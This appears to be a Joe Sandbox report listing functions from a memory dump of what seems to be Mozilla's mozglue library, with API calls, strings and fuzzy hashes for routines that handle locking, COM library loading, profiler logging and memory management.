Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: d40c9b8f0ea815f05a41d56da574faea6e267c78c49db367c2ba4ac61723d1dc
Instruction ID: 3acfcfee03ab85af62d30b882857a57063a6f0ffdea0c0d7d2c71b0ff0ba3ddd
Opcode Fuzzy Hash: d40c9b8f0ea815f05a41d56da574faea6e267c78c49db367c2ba4ac61723d1dc
Instruction Fuzzy Hash: EA21E2B3600B10DFD721DF65C881B86B7B9EF45724F158469E95A9B720C738E881CB90

Function 6BF6D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF6D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6D1F5

Part of subcall function 6BF6AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6BF6AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6D211
GetCurrentThreadId.KERNEL32 ref: 6BF6D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF6D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6D279
free.MOZGLUE(?), ref: 6BF6D2B2

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: 33dc9189ffb344086eae34cd97d855aa519bfc3c1ada79ba700caf8369f5a17a
Instruction ID: 6ae670629c8863b9ae1a41ac6eb89f8e92b4558ce8b6b7457f836c1b3676e805
Opcode Fuzzy Hash: 33dc9189ffb344086eae34cd97d855aa519bfc3c1ada79ba700caf8369f5a17a
Instruction Fuzzy Hash: 95219176614306DBCB04EF34C488B9EB7A5FF8A364F10452EE91687361DB34E90ACB95

Function 6BF22070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF4AB89: EnterCriticalSection.KERNEL32(6BF9E370,?,?,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284), ref: 6BF4AB94
Part of subcall function 6BF4AB89: LeaveCriticalSection.KERNEL32(6BF9E370,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284,?,?,6BF356F6), ref: 6BF4ABD1

LoadLibraryW.KERNEL32(combase.dll,6BF21C5F), ref: 6BF220AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6BF220CD
__Init_thread_footer.LIBCMT ref: 6BF220E1
FreeLibrary.KERNEL32 ref: 6BF22124

Strings

combase.dll, xrefs: 6BF220A9
CoInitializeSecurity, xrefs: 6BF220C7

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 5dd15237ecad34bd073ec744fe8cb5622aa678da5c6d6979bd442408298273e7
Instruction ID: b2fdec2a0ff28ea6279acb6881533610f18a7504575b1cd23a579b68ecc5507d
Opcode Fuzzy Hash: 5dd15237ecad34bd073ec744fe8cb5622aa678da5c6d6979bd442408298273e7
Instruction Fuzzy Hash: 38216D76420109EFDF15AF98DC48E9A3F79FB4A314F004018FA0492230D776E866CF60

Function 6BF599A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF599C1
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF599CE
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF599F8
GetCurrentThreadId.KERNEL32 ref: 6BF59A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF59A0D

Part of subcall function 6BF59A60: GetCurrentThreadId.KERNEL32 ref: 6BF59A95
Part of subcall function 6BF59A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF59A9D
Part of subcall function 6BF59A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6BF59ACC
Part of subcall function 6BF59A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF59BA7
Part of subcall function 6BF59A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6BF59BB8
Part of subcall function 6BF59A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6BF59BC9

Part of subcall function 6BF4CBE8: GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
Part of subcall function 6BF4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6BF59A15

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 9f5269880b06d159ec6d1946b84f2aaf35c7224b4c658a6c443547c9d8497693
Instruction ID: c724047936a3644825a8ce2ed4b254f89f2abe0ebe22ae213d9c92c7b6809715
Opcode Fuzzy Hash: 9f5269880b06d159ec6d1946b84f2aaf35c7224b4c658a6c443547c9d8497693
Instruction Fuzzy Hash: 090126B38141269BDB047F29E4487797B68EB52759F008016FD0553323CB3DAC2AC7B2

Function 6BF21FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF4AB89: EnterCriticalSection.KERNEL32(6BF9E370,?,?,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284), ref: 6BF4AB94
Part of subcall function 6BF4AB89: LeaveCriticalSection.KERNEL32(6BF9E370,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284,?,?,6BF356F6), ref: 6BF4ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6BF21FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6BF21FFD
__Init_thread_footer.LIBCMT ref: 6BF22011
FreeLibrary.KERNEL32 ref: 6BF22059

Strings

combase.dll, xrefs: 6BF21FD9
CoCreateInstance, xrefs: 6BF21FF7

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: ca93c65a65f066aafaf2eb2f9fc6910f3490fa678e1b09697a29644219f52815
Instruction ID: f574ab52d5593022d9787e399cc082d0c64ae73a186e0e62d74848c20aeb4035
Opcode Fuzzy Hash: ca93c65a65f066aafaf2eb2f9fc6910f3490fa678e1b09697a29644219f52815
Instruction Fuzzy Hash: 37117976520205AFEF24BF68D848F5A3B69EB8A355F004029F90582270C73AE81ACB60

Function 6BF20EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF4AB89: EnterCriticalSection.KERNEL32(6BF9E370,?,?,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284), ref: 6BF4AB94
Part of subcall function 6BF4AB89: LeaveCriticalSection.KERNEL32(6BF9E370,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284,?,?,6BF356F6), ref: 6BF4ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6BF4D9F0,00000000), ref: 6BF20F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6BF20F3C
__Init_thread_footer.LIBCMT ref: 6BF20F50
FreeLibrary.KERNEL32(?,6BF4D9F0,00000000), ref: 6BF20F86

Strings

combase.dll, xrefs: 6BF20F18
CoInitializeEx, xrefs: 6BF20F36

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: defceb1cb43dbb9e29363dccc135a7e16b7888e66f7931787355077d31983491
Instruction ID: 47e4c2673a447b3464f1b4039efdaf41557971731bf6cd717e2caa02765ec740
Opcode Fuzzy Hash: defceb1cb43dbb9e29363dccc135a7e16b7888e66f7931787355077d31983491
Instruction Fuzzy Hash: EB115E775542019BDF40BFA4CC18F863BB8EB4A321F004269F905D2271D7B9E40ACA65

Function 6BF262E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF4AB89: EnterCriticalSection.KERNEL32(6BF9E370,?,?,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284), ref: 6BF4AB94
Part of subcall function 6BF4AB89: LeaveCriticalSection.KERNEL32(6BF9E370,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284,?,?,6BF356F6), ref: 6BF4ABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6BF2631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6BF2633A
__Init_thread_footer.LIBCMT ref: 6BF2634E
FreeLibrary.KERNEL32 ref: 6BF26376

Strings

combase.dll, xrefs: 6BF26316
CoUninitialize, xrefs: 6BF26334

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: 6f9ca38408cb44441516735f83bdbffc42b3d56702ff2c7a1da32105e71dcf28
Instruction ID: 9d5dfe2aceb90906470914dc3f43f50132e84283df063d49d39e3ee1aca67a10
Opcode Fuzzy Hash: 6f9ca38408cb44441516735f83bdbffc42b3d56702ff2c7a1da32105e71dcf28
Instruction Fuzzy Hash: 9E014876834201DBEF44BF68E948B5477A4B70A314F105169F901C23B1E7B9E81ACF55

Function 6BF69240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF69BAE
free.MOZGLUE(?,?), ref: 6BF69BC3
free.MOZGLUE(?,?), ref: 6BF69BD9

Part of subcall function 6BF693B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF694C8
Part of subcall function 6BF693B0: free.MOZGLUE(6BF69281,?), ref: 6BF694DD

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 744fb0fab379e339a8cea31122a4eed5a643026d3f8b8f4e4a82c62132f50f69
Instruction ID: 0e359f4c077e1081d83c2aeddaed235281368bb179c3307774027ad4768ed6a1
Opcode Fuzzy Hash: 744fb0fab379e339a8cea31122a4eed5a643026d3f8b8f4e4a82c62132f50f69
Instruction Fuzzy Hash: 27B1BF72A047058BCB01CF68C48055EF3F5FFC9364B148659EC59AB262EB38E986CBD1

Function 6BF571A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6BF56060: moz_xmalloc.MOZGLUE(00000024,DE7BF9CD,00000000,?,00000000,?,?,6BF55FCB,6BF579A3), ref: 6BF56078

free.MOZGLUE(-00000001), ref: 6BF572F6
free.MOZGLUE(?), ref: 6BF57311

Strings

Copied unique strings, xrefs: 6BF57320
Spliced unique strings, xrefs: 6BF57340
333s, xrefs: 6BF57226
333s, xrefs: 6BF5731B

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: 7fe5f543f664eba582fe1d3f691be0b0d6582b4ad38b197a7f925b92db563c29
Instruction ID: 8df8db1d3f8deaaa800e29a73c35ebbc9c9613eead651cf91ff5eafb3d5d5ccf
Opcode Fuzzy Hash: 7fe5f543f664eba582fe1d3f691be0b0d6582b4ad38b197a7f925b92db563c29
Instruction Fuzzy Hash: A0719973F002198FDB18CF69D89069DB7F2AF94314F25C12DD819AB220DB39A956CBC1

Function 6BF6C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BF6C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6BF6C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6BF6C29E

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 6a367c35c50b1d1c19c1e748b720c6a1d86a1b83aaab15e48eca6bdab8509d68
Instruction ID: f019e4b5bf6b8bc37b40ebe0c6b22a7cb8997a44650645b0ed414b1cbbef8f52
Opcode Fuzzy Hash: 6a367c35c50b1d1c19c1e748b720c6a1d86a1b83aaab15e48eca6bdab8509d68
Instruction Fuzzy Hash: 5F61AC72904218CFCF14CFACD880AAEBBB5FF49314F154569EC92A7261E734A945CFA0

Function 6BF69F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF69FDB
free.MOZGLUE(?,?), ref: 6BF69FF0
free.MOZGLUE(?,?), ref: 6BF6A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF6A0BE
free.MOZGLUE(?,?), ref: 6BF6A0D5
free.MOZGLUE(?,?), ref: 6BF6A0EB

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: de9f17e7b665cc5a4f27d300f259a7e8a8caf4d16453da943910672e0377c605
Instruction ID: 3a0b02ec9a9c2ce0c671ac49fdd43a15a7b653e12264ce80afd8a318473ee713
Opcode Fuzzy Hash: de9f17e7b665cc5a4f27d300f259a7e8a8caf4d16453da943910672e0377c605
Instruction Fuzzy Hash: 9161B1768087129FC711CF28C48055AB3F5FFC8368F508659EC999B212EB36E986CBC1

Function 6BF5CA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6BF5CA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF5CA69
Sleep.KERNEL32 ref: 6BF5CADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF5CAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF5CAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6BF5CB19

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: 64830a52be29c18182d8a83b980faab1b6e47928b55bd0867d017b80a3753744
Instruction ID: 2084b18623fa94c09e0786958fef2a5e176b781bdca02bbb666a21008e141f57
Opcode Fuzzy Hash: 64830a52be29c18182d8a83b980faab1b6e47928b55bd0867d017b80a3753744
Instruction Fuzzy Hash: 33213A33A1460987C709AB38885556FFBB9FFC6309F408A2DE846A61A1EF78C5598781

Function 6BF6C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6BF6C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6BF6C842

Part of subcall function 6BF6CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6BF8B5EB,00000000), ref: 6BF6CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6BF6C863
std::_Facet_Register.LIBCPMT ref: 6BF6C875

Part of subcall function 6BF4B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6BF8B636,?), ref: 6BF4B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6BF6C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6C8BC

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: cda7c9a6e8bfae46b89191a77fabe4b888229265c06749e20bf6dcd734ac5782
Instruction ID: d9081f461f4cd6f7183791ec9b7bffabf05f504c12913a0d043a29917bafa837
Opcode Fuzzy Hash: cda7c9a6e8bfae46b89191a77fabe4b888229265c06749e20bf6dcd734ac5782
Instruction Fuzzy Hash: 39118676A002059BCF04EFB4C895AAEBB75EF89755F100429E90697362EB34D909CB91

Function 6BF1EB90 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000104), ref: 6BF1EBB5

Part of subcall function 6BF2CA10: malloc.MOZGLUE(?), ref: 6BF2CA26

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6BF4D7F3), ref: 6BF1EBC3
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6BF4D7F3), ref: 6BF1EBD6
free.MOZGLUE(?,?,?,?,?,?,6BF4D7F3), ref: 6BF1EBF6
free.MOZGLUE(00000000,?,?,?,?,?,?,6BF4D7F3), ref: 6BF1EC0E

Part of subcall function 6BF35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF35EDB
Part of subcall function 6BF35E90: memset.VCRUNTIME140(6BF77765,000000E5,55CCCCCC), ref: 6BF35F27
Part of subcall function 6BF35E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF35FB2

GetLastError.KERNEL32(?,?,?,?,?,?,6BF4D7F3), ref: 6BF1EC1A

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSectionfreememset$EnterErrorFileLastLeaveModuleNamemallocmoz_xmalloc
String ID:
API String ID: 2948488910-0
Opcode ID: c68301b8ea562b9976a890c30add2528ff20d9fafc240d5ee33459830beb44ba
Instruction ID: c94a2b8aead92299a09b791db531f77d6f43c53eb6ceb9ea27d40bc2162673ff
Opcode Fuzzy Hash: c68301b8ea562b9976a890c30add2528ff20d9fafc240d5ee33459830beb44ba
Instruction Fuzzy Hash: 1F110CB3A082555BEB00DB789C4576F7AA8AF41B18F144C24E845EB750E3BDDC0487F2

Function 6BF60180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6BF60270
GetCurrentThreadId.KERNEL32 ref: 6BF602E9
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF602F6
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF6033A

Strings

about:blank, xrefs: 6BF6020F

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
